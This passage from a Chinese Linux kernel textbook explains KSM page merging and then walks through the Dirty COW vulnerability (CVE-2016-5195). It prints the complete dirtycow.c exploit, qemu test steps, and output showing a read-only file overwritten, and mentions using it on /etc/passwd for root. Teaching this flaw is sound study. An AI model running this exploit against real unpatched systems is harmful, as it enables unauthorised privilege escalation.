回到cmp_and_merge_page()函数中,try_to_merge_with_ksm_page把page合并到kpage页面后,需要做一些统计相关工作,下面来看stable_tree_append函数。

0 static void stable_tree_append(struct rmap_item *rmap_item,
1                     struct stable_node *stable_node)
2 {
3    rmap_item->head = stable_node;
4    rmap_item->address |= STABLE_FLAG;
5    hlist_add_head(&rmap_item->hlist, &stable_node->hlist);
6 
7    if (rmap_item->hlist.next)
8         ksm_pages_sharing++;
9    else
10        ksm_pages_shared++;
11}

rmap_item是page页面对应的rmap_item数据结构,struct stable_node是KSM页面的mapping指向的数据结构,类似匿名页面中的anon_vma数据结构。参数中的stable_node是kpage指向的struct stable_node数据结构。

static inline void *page_rmapping(struct page *page)
{
     return (void *)((unsigned long)page->mapping & ~PAGE_MAPPING_FLAGS);
}

stable_tree_append()把rmap_item添加到kpage页面的stable_node中的哈希链表里,如果有多个页面同时映射到stable_node上,则增加ksm_pages_sharing计数,否则增加ksm_pages_shared计数,说明这是一个新成立的stable节点。ksm_pages_shared计数表示系统中有多个ksm节点,ksm_pages_sharing计数表示合并到ksm节点中的页面个数。

page页合并到kpage页面后,退出cmp_and_merge_page()便开始扫描下一个目标页面了。注意这里cmp_and_merge_page()函数第27行代码中的put_page(kpage)和ksm_do_scan()函数以及第11行代码中的put_page(page),大家需要想明白它们在何处增加了page的计数。

上面是在stable树中找到和候选者页面内容相同的情况。假设在stable树中没有找到合适页面,那么接下来会去查找unstable树。

[ksm_do_scan()->cmp_and_merge_page()->unstable_tree_search_insert()]

0 static
1 struct rmap_item *unstable_tree_search_insert(struct rmap_item *rmap_item,
2                          struct page *page,
3                          struct page **tree_pagep)
4 {
5    struct rb_node **new;
6    struct rb_root *root;
7    struct rb_node *parent = NULL;
8 
9    root = root_unstable_tree;
10   new = &root->rb_node;
11
12   while (*new) {
13        struct rmap_item *tree_rmap_item;
14        struct page *tree_page;
15        int ret;
16
17        cond_resched();
18        tree_rmap_item = rb_entry(*new, struct rmap_item, node);
19        tree_page = get_mergeable_page(tree_rmap_item);
20        if (IS_ERR_OR_NULL(tree_page))
21             return NULL;
22          
23        if (page == tree_page) {
24             put_page(tree_page);
25             return NULL;
26        }
27
28        ret = memcmp_pages(page, tree_page);
29
30        parent = *new;
31        if (ret < 0) {
32              put_page(tree_page);
33              new = &parent->rb_left;
34        } else if (ret > 0) {
35              put_page(tree_page);
36              new = &parent->rb_right;
37        } else  {
38              *tree_pagep = tree_page;
39              return tree_rmap_item;
40        }
41   }
42
43   rmap_item->address |= UNSTABLE_FLAG;
44   rmap_item->address |= (ksm_scan.seqnr & SEQNR_MASK);
45   rb_link_node(&rmap_item->node, parent, new);
46   rb_insert_color(&rmap_item->node, root);
47
48   ksm_pages_unshared++;
49   return NULL;
50}

unstable_tree_search_insert()函数与stable_tree_search()的逻辑类似。查找unstable红黑树,这棵树的根在root_unstable_tree。get_mergeable_page()判断从树中取出来的页面是否合格,只有匿名页面才可以被合并。如果在树中没找到和候选页面相同的内容,那么会把候选页面也添加到该树中,见第43~46行代码。rmap_item->address的低12比特位用于存放一些标志位,例如UNSTABLE_FLAG(0x100)表示rmap_item在unstable树中,另外低8位用于存放全盘扫描的次数seqnr。unstable树的节点会在一次全盘扫描后被删掉,在下一次全盘扫描重新加入到unstable树中。ksm_pages_unshared表示有在unstable树中的节点个数。

当在unstable树中找到和候选页面page内容相同的tree_page后,尝试把该page和tree_page合并成一个KSM页面。下面来看try_to_merge_two_pages()函数的实现。

[ksm_do_scan()->cmp_and_merge_page()->try_to_merge_two_pages()]

0 static struct page *try_to_merge_two_pages(struct rmap_item *rmap_item,
1                          struct page *page,
2                          struct rmap_item *tree_rmap_item,
3                          struct page *tree_page)
4 {
5    int err;
6 
7    err = try_to_merge_with_ksm_page(rmap_item, page, NULL);
8    if (!err) {
9          err = try_to_merge_with_ksm_page(tree_rmap_item,
10                              tree_page, page);
11         /*
12          * If that fails, we have a ksm page with only one pte
13          * pointing to it: so break it.
14          */
15         if (err)
16               break_cow(rmap_item);
17   }
18   return err ? NULL : page;
19}

这里调用了两次try_to_merge_with_ksm_page(),注意这两次调用的参数不一样,实现的功能也不一样。

第一次,参数是候选者page和对应的rmap_item,kpage为NULL,因此第一次调用主要是把page的页表设置为写保护,并且把该页设置为KSM节点。

第二次,参数变成了tree_page和对应的tree_rmap_item,kpage为候选者page,因此这里要实现的功能是把tree_page的页表设置为写保护,然后再比较tree_page和page之间的内容是否一致。在查找unstable树时已经做过页面内容的比较,为什么这里还需要再比较一次呢?因为在这个过程中,页面有可能被别的进程修改了内容。当两个页面内容确保一致后,借用page的pfn来重新生成一个页表项并设置到tree_page的页表中,也就是tree_page对应的进程虚拟地址和物理页面page重新建立了映射关系,tree_page和page合并成了一个KSM页面,page作为KSM页面的联络点。

回到cmp_and_merge_page()函数中,当候选者page荣升为KSM页面kpage后,stable_tree_insert()会把KSM页kpage添加到stable树中。

0 static struct stable_node *stable_tree_insert(struct page *kpage)
1 {
2     …
3     查找stable树查找合适插入的叶节点
4     …
5     stable_node = alloc_stable_node();
6     INIT_HLIST_HEAD(&stable_node->hlist);
7     stable_node->kpfn = kpfn;
8     set_page_stable_node(kpage, stable_node);
9     rb_link_node(&stable_node->node, parent, new);
10    rb_insert_color(&stable_node->node, root);
11    return stable_node;
12}

分配一个新的stable_node节点,page->mapping指向stable_node节点,然后把stable_node节点插入到stable树中。

最后rmap_item和tree_rmap_item会添加到新的stable_tree的哈希链表中,并且更新ksm的数据统计。

至此,我们就完成了对一个页面是如何合并成KSM页面的介绍,包括查找stable树和unstable树等,接下来看如果在合并过程中发生失败的情况。

0 static void break_cow(struct rmap_item *rmap_item)
1 {
2    struct mm_struct *mm = rmap_item->mm;
3    unsigned long addr = rmap_item->address;
4    struct vm_area_struct *vma;
5 
6    /*
7     * It is not an accident that whenever we want to break COW
8     * to undo, we also need to drop a reference to the anon_vma.
9     */
10   put_anon_vma(rmap_item->anon_vma);
11
12   down_read(&mm->mmap_sem);
13   vma = find_mergeable_vma(mm, addr);
14   if (vma)
15        break_ksm(vma, addr);
16   up_read(&mm->mmap_sem);
17}

break_cow()函数处理已经把页面设置成写保护的情况,并人为造一个写错误的缺页中断,即写时复制(COW)的场景。其中,参数rmap_item中保存了该页的虚拟地址和进程数据结构,由此可以找到对应的VMA。

0 static int break_ksm(struct vm_area_struct *vma, unsigned long addr)
1 {
2    struct page *page;
3    int ret = 0;
4 
5    do {
6         cond_resched();
7         page = follow_page(vma, addr, FOLL_GET | FOLL_MIGRATION);
8         if (IS_ERR_OR_NULL(page))
9               break;
10        if (PageKsm(page))
11              ret = handle_mm_fault(vma->vm_mm, vma, addr,
12                             FAULT_FLAG_WRITE);
13        else
14              ret = VM_FAULT_WRITE;
15        put_page(page);
16   } while (!(ret & (VM_FAULT_WRITE | VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV | VM_FAULT_OOM)));
17   return (ret & VM_FAULT_OOM) ? -ENOMEM : 0;
18}

首先follow_page()函数由VMA和虚拟地址获取出normal mapping的页面数据结构,参数flags是FOLL_GET | FOLL_MIGRATION,FOLL_GET表示增加该页的_count计数,FOLL_MIGRATION表示如果该页在页迁移的过程中会等待页迁移完成。对于KSM页面,这里直接调用handle_mm_fault()人为造一个写错误(FAULT_FLAG_WRITE)的缺页中断,在缺页中断处理函数中处理写时复制COW,最终调用do_wp_page()重新分配一个页面来和对应的虚拟地址建立映射关系。

最后讨论一个有趣的问题:如果多个VMA的虚拟页面同时映射了同一个匿名页面,那么page->index应该等于多少?

虽然匿名页面和KSM页面可以通过PageAnon()和PageKsm()宏来区分,但是这两种页面究竟有什么区别呢?是不是多个VMA的虚拟页面共享同一个匿名页面的情况就一定是KSM页面呢?这是一个非常好的问题,可以从中窥探出匿名页面和KSM页面的区别。这个问题要分两种情况,一是父子进程的VMA共享同一个匿名页面,二是不相干的进程的VMA共享同一个匿名页面。

第一种情况在第2.12节中讲解RMAP反向映射机制时已经介绍过。父进程在VMA映射匿名页面时会创建属于这个VMA的RMAP反向映射的设施,在__page_set_anon_rmap()里会设置page->index值为虚拟地址在VMA中的offset。子进程fork时,复制了父进程的VMA内容到子进程的VMA中,并且复制父进程的页表到子进程中,因此对于父子进程来说,page->index值是一致的。

当需要从page找到所有映射page的虚拟地址时,在rmap_walk_anon()函数中,父子进程都使用page->index值来计算在VMA中的虚拟地址,详见rmap_walk_anon()->vma_address()函数。

static int rmap_walk_anon(struct page *page, struct rmap_walk_control *rwc)
{
     ...
     anon_vma_interval_tree_foreach(avc, &anon_vma->rb_root, pgoff, pgoff) {
         struct vm_area_struct *vma = avc->vma;
         unsigned long address = vma_address(page, vma);
         ...
     }
     return ret;
}

第二种情况是KSM页面。KSM页面由内容相同的两个匿名页面合并而成,它们可以是不相干的进程的VMA,也可以是父子进程的VMA,那么它的page->index值应该等于多少呢?

void do_page_add_anon_rmap(struct page *page,
     struct vm_area_struct *vma, unsigned long address, int exclusive)
{
     int first = atomic_inc_and_test(&page->_mapcount);
     ...
     if (first)
          __page_set_anon_rmap(page, vma, address, exclusive);
     else
          __page_check_anon_rmap(page, vma, address);
}

在do_page_add_anon_rmap()函数中有这样一个判断,只有当_mapcount等于−1时才会调用__page_set_anon_rmap()去设置page->index值,那就是第一次映射该页面的用户pte才会去设置page->index值。

当需要从page中找到所有映射page的虚拟地址时,因为page是KSM页面,所以使用rmap_walk_ksm()函数,如下:

int rmap_walk_ksm(struct page *page, struct rmap_walk_control *rwc)
{
     ...
     hlist_for_each_entry(rmap_item, &stable_node->hlist, hlist) {
          struct anon_vma *anon_vma = rmap_item->anon_vma;
          anon_vma_interval_tree_foreach(vmac, &anon_vma->rb_root,
                                 0, ULONG_MAX) {
               vma = vmac->vma;
               ret = rwc->rmap_one(page, vma,
                         rmap_item->address, rwc->arg);//这里使用rmap_item->address来获取虚拟地址
          }
     }
     ...
}

这里使用rmap_item->address来获取每个VMA对应的虚拟地址,而不是像父子进程共享的匿名页面那样使用page->index来计算虚拟地址。因此对于KSM页面来说,page->index等于第一次映射该页的VMA中的offset。

KSM的实现流程如图2.34所示。核心设计思想是基于写时复制机制COW,也就是内容相同的页面可以合并成一个只读页面,从而释放出来空闲页面。首先要思考怎么去查找,以及合并什么样类型的页面?哪些应用场景会有比较丰富的冗余的页面?

KSM最早是为了KVM虚拟机而设计的,KVM虚拟机在宿主机上使用的内存大部分是匿名页面,并且它们在宿主机中存在大量的冗余内存。对于典型的应用程序,KSM只考虑进程分配使用的匿名页面,暂时不考虑page cache的情况。一个典型的应用程序可以由以下5个内存部分组成。

图2.34 KSM实现流程图

设计的关键是如何寻找和比较两个相同的页面,如何让这个过程变得高效而且占用系统资源最少,这就是一个好的设计人员应该思考的问题。首先要规避用哈希算法来比较两个页面的专利问题。KSM虽然使用了memcmp来比较,最糟糕的情况是两个页面在最后的4Byte不一样,但是KSM使用红黑树来设计了两棵树,分别是stable树和unstable树,可以有效地减少最糟糕的情况。另外KSM也巧妙地利用页面的校验值来比较unstable树的页面最近是否被修改过,从而避开了该专利的“魔咒”,看上去很像足球场上的一个巧妙漂亮的挑射。

页面分为物理页面和虚拟页面,多个虚拟页面可以同时映射到一个物理页面,因此需要把映射到该页的所有的pte都解除后,才是算真正释放(这里说的pte是指用户进程地址空间VMA的虚拟地址映射到该页的pte,简称用户pte,因此page->_mapcount成员里描述的pte数量不包含内核线性映射的pte)。目前有两种做法,一种做法是扫描每个进程中VMA,由VMA的虚拟地址查询MMU页表找到对应的page数据结构,这样就找到了用户pte。然后对比KSM中的stable树和unstable树,如果找到页面内容相同的,就把该pte设置成COW,映射到KSM页面中,从而释放出一个pte,注意这里是释放出一个用户pte,而不是一个物理页面(如果该物理页面只有一个pte映射,那就是释放该页)。另外一种做法是直接扫描系统中的物理页面,然后通过反向映射来解除该页所有的用户pte,从而一次性地释放出物理页面。显然,目前kernel的KSM是基于第一种做法。

KSM的作者在他的论文中有实测数据,但笔者依然觉得有一些情况下会比较糟糕。例如说在一个很大内存的服务器上,有很多的匿名页面都同时映射了多个虚拟页面。假设每个匿名页面都映射了10000个虚拟页面,这些虚拟页面又同时分布在不同的子进程中,那么要释放一个物理页面,需要扫描完10000个虚拟页面所在的VMA,每次都要follow_page()查询页表,然后查询stable树,还需要多次的memcpy次比较,合并10000次pte页表项也就意味着memcpy要10000次,这个过程会很漫长。

在实际项目中,有很多人抱怨KSM的效率低,在很多项目上是关闭该特性的。也有很多人在思考如何提高KSM的效率,包括新的软件算法或者利用硬件机制。

在阅读本节前请思考如下小问题。

2016年10月,有关人员发现了一个存在近十年之久的非常严重的安全漏洞[32],该漏洞可以使低权限的用户利用内存写时复制机制的缺陷来提升系统权限,从而获取root权限,这样黑客可以利用该漏洞入侵服务器,现在大部分的服务器都部署着Linux系统。这个漏洞称为Dirty COW,代号为CVE-2016- 5195。Linux内核社区在2016年10月18日紧急修复了这个历史久远的bug[33],各大发型版Linux发布紧急更新公告,要求用户尽快更新。这个bug影响的内核版本从Linux 2.6.22到Linux 4.8。如图2.35所示是Dirty COW的标志。

图2.35 Dirty COW的标志

利用Dirty COW的攻击程序示例如下:

[dirtycow.c]

0 #include < stdio.h>
1 #include < sys/mman.h>
2 #include < fcntl.h>
3 #include < pthread.h>
4 #include < unistd.h>
5 #include < sys/stat.h>
6 #include < string.h>
7  
8 void *map;
9 int f;
10struct stat st;
11char *name;
12 
13void *madviseThread(void *arg)
14{
15  char *str;
16  str=(char*)arg;
17  int i,c=0;
18  for(i=0;i< 10000;i++)
19  {
20    c+=madvise(map,100,MADV_DONTNEED);
21  }
22  printf("madvise %d\n\n",c);
23}
24 
25void *procselfmemThread(void *arg)
26{
27  char *str;
28  str=(char*)arg;
29  int f=open("/proc/self/mem",O_RDWR);
30  int i,c=0;
31  for(i=0;i< 10000;i++) {
32    lseek(f,map,SEEK_SET);
33    c+=write(f,str,strlen(str));
34  }
35  printf("procselfmem %d\n\n", c);
36}
37 
38 
39int main(int argc,char *argv[])
40{
41  if (argc< 3)return 1;
42  pthread_t pth1,pth2;
43  f=open(argv[1],O_RDONLY);
44  fstat(f,&st);
45  name=argv[1];
46
47  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
48  printf("mmap %x\n\n",map);
49  pthread_create(&pth1,NULL,madviseThread,argv[1]);
50  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
51
52  pthread_join(pth1,NULL);
53  pthread_join(pth2,NULL);
54  return 0;
55}

读者可以在qemu中的ARM Vexpress平台上测试。在Ubuntu上可能已经测试不出来了,因为在你看到书稿时,Ubuntu系统可能已经安装了该漏洞的补丁。

1.编译
#arm-none-abi-gcc dirtycow.c -o dirtycow -static –lpthread   <=编译
#cp dirtycow linux-4.0/_install
#make bootimage
#make dtbs
2.运行qemu
# qemu-system-arm -M vexpress-a9 -smp 2 -m 1024M -kernel arch/arm/boot/zImage  -append "rdinit=/linuxrc console=ttyAMA0 loglevel=8" -dtb arch/arm/boot/dts/vexpress-v2p-ca9.dtb –nographic
3.在qemu里测试
#echo "this is a dirtycow test case" > foo     <= 创建一个文件写入一个字符串
#chmod 0404 foo                           <= 修改该文件属性为只读
# ./dirtycow foo m0000000000       <= 运行dirtycow程序,尝试去修改foo只读文件
mmap b6f85000
madvise 0
procselfmem: 110000

/ # cat foo             <=程序执行完毕,查看foo文件,发现的确被改写!!!
m0000000000irtycow test case
/ #

从实验结果来看,Dirty COW程序成功地写入了一个只读文件。同理,黑客可以利用这个漏洞,修改/etc/passwd文件,获得root权限。

Dirty COW程序首先以只读的方式打开一个文件,然后使用mmap映射这个文件的内容到用户空间,这里使用MAP_PRIVATE映射属性。因此它是一个进程私有的映射,mmap创建的VMA属性就是私有的并且只读的,因为它只设置了VM_READ,并没有设置VM_SHARED。VMA的flags标志位中只有VM_SHARED标志位,没有PRIVATE相关的标志位,因此没设置VM_SHARED,表示这个VMA是私有的。利用mmap进行的文件映射页面在内核空间是page cache,主程序创建了两个线程,分别是“madviseThread”和“procselfmemThread”。

首先来看procselfmemThread线程。打开/proc/self/mem文件,lseek定位到刚才mmap映射的空间,然后不断地写入字符串“m0000000000”。读写/proc/self/mem文件,在内核中的实现是在fs/proc/base.c文件中。

[fs/proc/base.c]

static const struct pid_entry tgid_base_stuff[] = {
…
REG("mem",            S_IRUSR|S_IWUSR, proc_mem_operations),
…
}

static const struct file_operations proc_mem_operations = {
     .llseek        = mem_lseek,
     .read          = mem_read,
     .write         = mem_write,
     .open          = mem_open,
     .release = mem_release,
};

mem_write()函数主要调用access_remote_vm()来实现访问用户进程的进程地址空间。

[mem_write()->__access_remote_vm()]

0 static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
1         unsigned long addr, void *buf, int len, int write)
2 {
3    down_read(&mm->mmap_sem);
4    while (len) {
5        int bytes, ret, offset;
6        void *maddr;
7        struct page *page = NULL;
8 
9        ret = get_user_pages(tsk, mm, addr, 1,
10                write, 1, &page, &vma);
11       if (ret <= 0) {
12            ...
13       } else {
14            maddr = kmap(page);
15            if (write) {
16                  copy_to_user_page();
17                  set_page_dirty_lock(page);
18            } else {
19                  copy_from_user_page();
20            }
21            kunmap(page);
22            page_cache_release(page);
23       }
24   }
25   up_read(&mm->mmap_sem);
26   return buf - old_buf;
27}

知道进程的mm数据结构和虚拟地址addr,然后就可以获取对应的物理页面了,内核提供了一个API函数get_user_pages()。这里传递给get_user_pages的参数是write=1、force=1和page指针,在后续的函数调用中会转换为FOLL_WRITE | FOLL_FORCE | FOLL_GET标志位。

[mem_write()->__access_remote_vm()->__get_user_pages()]

0 long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
1        unsigned long start, unsigned long nr_pages,
2        unsigned int gup_flags, struct page **pages,
3        struct vm_area_struct **vmas, int *nonblocking)
4 {
5        ...
6 retry:
         cond_resched();
7        page = follow_page_mask(vma, start, foll_flags, &page_mask);
8        if (!page) {
9              int ret;
10             ret = faultin_page(tsk, vma, start, &foll_flags,
11                       nonblocking);
12             switch (ret) {
13             case 0:
14                 goto retry;
15             case -EFAULT:
16             case -ENOMEM:
17             case -EHWPOISON:
18                 return i ? i : ret;
19             case -EBUSY:
20                 return i;
21             case -ENOENT:
22                 goto next_page;
23             }
24             BUG();
25        }
26        if (pages) {
27             pages[i] = page;
28        }
29next_page:
30     ...
31   return i;
32}

从第一次写时开始考虑,因为用户空间内存(Dirty COW程序中map指针指向的内存)还没有和实际物理页面建立映射关系,所以follow_page_mask()函数不可能返回正确的page数据结构。

[__get_user_pages()->follow_page_mask()->follow_page_pte()]

0 static struct page *follow_page_pte(struct vm_area_struct *vma,
1         unsigned long address, pmd_t *pmd, unsigned int flags)
2 {
3    struct mm_struct *mm = vma->vm_mm;
4    struct page *page;
5    spinlock_t *ptl;
6    pte_t *ptep, pte;
7 
8 retry:
9    ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
10   pte = *ptep;
11   if (!pte_present(pte)) {
12        ...
13        if (pte_none(pte))
14             goto no_page;
15        ...
16   }
17     
18   if ((flags & FOLL_WRITE) && !pte_write(pte)) {
19        pte_unmap_unlock(ptep, ptl);
20        return NULL;
21   }
22     
23   page = vm_normal_page(vma, address, pte);
24   …
25   return page;
26   
27no_page:
28   pte_unmap_unlock(ptep, ptl);
29   if (!pte_none(pte))
30        return NULL;
31   return no_page_table(vma, flags);
32}

因此从follow_page_pte()函数可以看到,第一次写时没有建立映射关系,pte页表中的L_PTE_PRESENT比特位为0,且pte也不是有效的页表项(pte_none(pte)),follow_page_mask()返回空指针。

回到__get_user_pages()函数,follow_page_mask()没有找到合适的page数据结构,说明该虚拟地址对应的物理页面还没有建立映射关系,那么调用faultin_page()主动触发一次缺页中断来建立这个关系。传递的参数包括当前的VMA、当前的虚拟地址address、foll_flags为FOLL_WRITE | FOLL_FORCE | FOLL_GET,以及nonblocking=0。

[__get_user_pages()->faultin_page()]

0 static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
1         unsigned long address, unsigned int *flags, int *nonblocking)
2 {
3    struct mm_struct *mm = vma->vm_mm;
4    unsigned int fault_flags = 0;
5    int ret;
6    ...
7    if (*flags & FOLL_WRITE)
8         fault_flags |= FAULT_FLAG_WRITE;
9 
10   ret = handle_mm_fault(mm, vma, address, fault_flags);
11   ...
12   /*
13    * The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
14    * necessary, even if maybe_mkwrite decided not to set pte_write. We
15    * can thus safely do subsequent page lookups as if they were reads.
16    * But only do so when looping for pte_write is futile: in some cases
17    * userspace may also be wanting to write to the gotten user page,
18    * which a read fault here might prevent (a readonly page might get
19    * reCOWed by userspace write).
20    */
21   if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
22        *flags &= ~FOLL_WRITE;
23   return 0;
24}

faultin_page()函数人为制造了一个写错误的缺页中断(FAULT_FLAG_WRITE),下面直接看pte的处理情况。

[__get_user_pages()->faultin_page()->handle_mm_fault()->handle_pte_fault()]

0 static int handle_pte_fault(struct mm_struct *mm,
1              struct vm_area_struct *vma, unsigned long address,
2              pte_t *pte, pmd_t *pmd, unsigned int flags)
3 {
4    pte_t entry;
5    spinlock_t *ptl;
6    entry = *pte;
7    ...
8    if (!pte_present(entry)) {
9         if (pte_none(entry)) {
10             if (vma->vm_ops) {
11                  if (likely(vma->vm_ops->fault))
12                       return do_fault(mm, vma, address, pte,
13                                pmd, flags, entry);
14             }
15             return do_anonymous_page(mm, vma, address,
16                           pte, pmd, flags);
17        }
18        return do_swap_page(mm, vma, address,
19                     pte, pmd, flags, entry);
20   }
21   ...
22   ptl = pte_lockptr(mm, pmd);
23   spin_lock(ptl);
24   if (flags & FAULT_FLAG_WRITE) {
25         if (!pte_write(entry))
26               return do_wp_page(mm, vma, address,
27                        pte, pmd, ptl, entry);
28   }
29   ...
30   pte_unmap_unlock(pte, ptl);
31   return 0;
32}

正如之前分析pte entry的情况,PRESENT位若没有置位,并且pte不是有效的pte,并且我们访问的是page cache,它有定义vma->vm_ops操作方法集和fault方法,因此根据handle_pte_fault()函数的判断逻辑,它会跳转到do_fault()中。

[__get_user_pages()->faultin_page()->handle_mm_fault()->handle_pte_ fault()->do_fault()]

0 static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
1          unsigned long address, pte_t *page_table, pmd_t *pmd,
2          unsigned int flags, pte_t orig_pte)
3 {
4    pgoff_t pgoff = (((address & PAGE_MASK)
5             - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;
6 
7    pte_unmap(page_table);
8    if (!(flags & FAULT_FLAG_WRITE))
9          return do_read_fault(mm, vma, address, pmd, pgoff, flags,
10                  orig_pte);
11   if (!(vma->vm_flags & VM_SHARED))
12         return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
13                  orig_pte);
14   return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte);
15}

do_fault()函数中有两个重要的判断条件,分别是FAULT_FLAG_WRITE和VM_SHARED。我们的场景触发了一个写错误的缺页中断,该页对应的VMA是私有映射,即VMA的属性vma->vm_flags没有设置VM_SHARED,见Dirty COW程序中使用MAP_PRIVATE的映射属性,因此跳转到do_cow_fault函数中。

[__get_user_pages()->faultin_page()->handle_mm_fault()->handle_pte_ fault()->do_fault()->do_cow_fault()]

0 static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
1         unsigned long address, pmd_t *pmd,
2         pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
3 {
4    struct page *fault_page, *new_page;
5    pte_t *pte;
6    int ret;
7    ...
8    new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);
9    if (!new_page)
10        return VM_FAULT_OOM;
11     
12   ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page);
13
14   if (fault_page)
15         copy_user_highpage(new_page, fault_page, address, vma);
16   __SetPageUptodate(new_page);
17   ...
18   do_set_pte(vma, address, new_page, pte, true, true);
19   if (fault_page) {
20        unlock_page(fault_page);
21        page_cache_release(fault_page);
22   }
23   ...
24   return ret;
25}

do_cow_fault()会重新分配一个新的页面new_page,并调用__do_fault()函数通过文件系统相关的API将page cache读到fault_page中,然后把文件内容复制到新页面new_page里。do_set_pte()函数使用新页面和虚拟地址重新建立映射关系,最后释放fault_page。注意这里fault_page是page cache,new_page是匿名页面。

[do_fault()->do_cow_fault()->do_set_pte()]

0 void do_set_pte(struct vm_area_struct *vma, unsigned long address,
1        struct page *page, pte_t *pte, bool write, bool anon)
2 {
3    pte_t entry;
4 
5    flush_icache_page(vma, page);
6    entry = mk_pte(page, vma->vm_page_prot);
7    if (write)
8         entry = maybe_mkwrite(pte_mkdirty(entry), vma);
9    if (anon) {
10        inc_mm_counter_fast(vma->vm_mm, MM_ANONPAGES);
11        page_add_new_anon_rmap(page, vma, address);
12   } 
13   set_pte_at(vma->vm_mm, address, pte, entry);
14   update_mmu_cache(vma, address, pte);
15}

do_set_pte()函数首先使用刚才新分配的页面和vma相关属性来生成一个新的页表项pte entry。

第7~8行代码,因为是写错误的缺页中断,这里write为1,页面为脏,所以设置pte的dirty位。maybe_mkwrite()函数的名称看上去很有意思,为什么叫“maybe”呢?为什么这里pte的WRITE比特位是模棱两可的呢?其实这里大有奥秘。

[include/linux/mm.h]

static inline pte_t maybe_mkwrite(pte_t pte, struct vm_area_struct *vma)
{
     if (likely(vma->vm_flags & VM_WRITE))
           pte = pte_mkwrite(pte);
     return pte;
}

pte entry中的WRITE比特位是否需要置位要看VMA的vm_flags属性是否具有可写的属性,如果有可写属性才能设置pte entry中的WRITE比特位。这里的场景是mmap通过只读方式(PROT_READ)映射一个文件,vma->vm_flags没有设置VM_WRITE属性。因此新页面new_page和虚拟地址建立的新的pte entry是dirty且只读的。

从do_cow_fault()到faultin_page()函数一路返回0,回到__get_user_pages()函数片段中第6~25行代码,这里会跳转到retry标签处,继续调用follow_page_mask()函数获取page结构。注意此时传递给该函数的参数foll_flags依然没有变化,即FOLL_WRITE | FOLL_FORCE | FOLL_GET。该pte entry的属性是PRESENT位被置位、Dirty位被置位、只读位RDONLY被置位了。因此在follow_page_pte函数中,判断到传递进来的flags标志是可写的,但是实际pte entry只是可读属性,那么这里不会返回正确的page结构,详见follow_page_pte函数中的“(flags & FOLL_WRITE) && !pte_write(pte)”语句。

从follow_page_pte()返回为NULL,这时又要来一次人造的缺页中断faultin_page(),依然是写错误的缺页中断。

因为这时pte entry的状态为PRESENT =1、DIRTY=1、RDONLY=1,再加上写错误异常,因此根据handle_pte_fault()函数的判断逻辑跳转到do_wp_page()函数。do_wp_page函数的代码片段如下:

0 static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma,
1          unsigned long address, pte_t *page_table, pmd_t *pmd,
2          spinlock_t *ptl, pte_t orig_pte)
3    __releases(ptl)
4 {
5    struct page *old_page, *new_page = NULL;
6    pte_t entry;
7    int ret = 0;
8 
9    old_page = vm_normal_page(vma, address, orig_pte);
10   
11   if (PageAnon(old_page) && !PageKsm(old_page)) {
12        if (!trylock_page(old_page)) {
13        ...
14        }
15        if (reuse_swap_page(old_page)) {
16              unlock_page(old_page);
17              goto reuse;
18        }
19        unlock_page(old_page);
20   } else if (unlikely((vma->vm_flags & (VM_WRITE|VM_SHARED)) ==
21                        (VM_WRITE|VM_SHARED))) {
22                        ...
23reuse:
24        ...
25        entry = pte_mkyoung(orig_pte);
26        entry = maybe_mkwrite(pte_mkdirty(entry), vma);
27        ret |= VM_FAULT_WRITE;
28        return ret;
29   }
30   
31gotten:
32   ...
33}

这时传递到do_wp_page()函数的页面是匿名页面并且是可重用的页面(reuse),因此跳转到reuse标签处中。依然调用maybe_mkwrite()尝试置位pte entry中WRITE比特位,但是因为vma是只读映射的,因此这个尝试不会成功。pte entry依然是RDONLY和DIRTY的。注意返回的值是VM_FAULT_WRITE,这正是前文所说的内存漏洞的关键所在。

回到faultin_page()函数中,因为handle_mm_fault()返回了VM_FAULT_WRITE。

0 static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
1         unsigned long address, unsigned int *flags, int *nonblocking)
2 {
3    ...
4    ret = handle_mm_fault(mm, vma, address, fault_flags);
5    ...
6    /*
7     * The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
8     * necessary, even if maybe_mkwrite decided not to set pte_write. We
9     * can thus safely do subsequent page lookups as if they were reads.
10    * But only do so when looping for pte_write is futile: in some cases
11    * userspace may also be wanting to write to the gotten user page,
12    * which a read fault here might prevent (a readonly page might get
13    * reCOWed by userspace write).
14    */
15   if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
16        *flags &= ~FOLL_WRITE;
17   return 0;
18}

第15~16行代码,对于返回VM_FAULT_WRITE且VMA是只读的情况,清除了FOLL_WRITE标记位。返回VM_FAULT_WRITE表示do_wp_page()已经完成了对写时复制的处理工作,尽管有可能无法把pte entry设置为可写的,但由于VMA相关属性的原因,因此在这之后可以安全地读该页的内容[34],这是该漏洞的核心之处。

从faultin_page()函数返回0,又会跳转到__get_user_pages()函数中的retry标签处,因为刚刚foll_flags中的FOLL_WRITE被清除了,所以这时以只读的方式调用follow_page_mask()了。

正如武侠小说中写的一样,两大绝世高手交锋正酣,大战三百回合不分胜负,说时迟,那时快,就在调用follow_page_mask()前,另外一个线程madviseThread像“小李飞刀”一样精准,注意retry标签处有一个cond_resched()函数给“小李飞刀”一次“出飞刀”的机会,madvise(dontneed)系统调用在内核里的zap_page_range()函数去解除该页的映射关系。

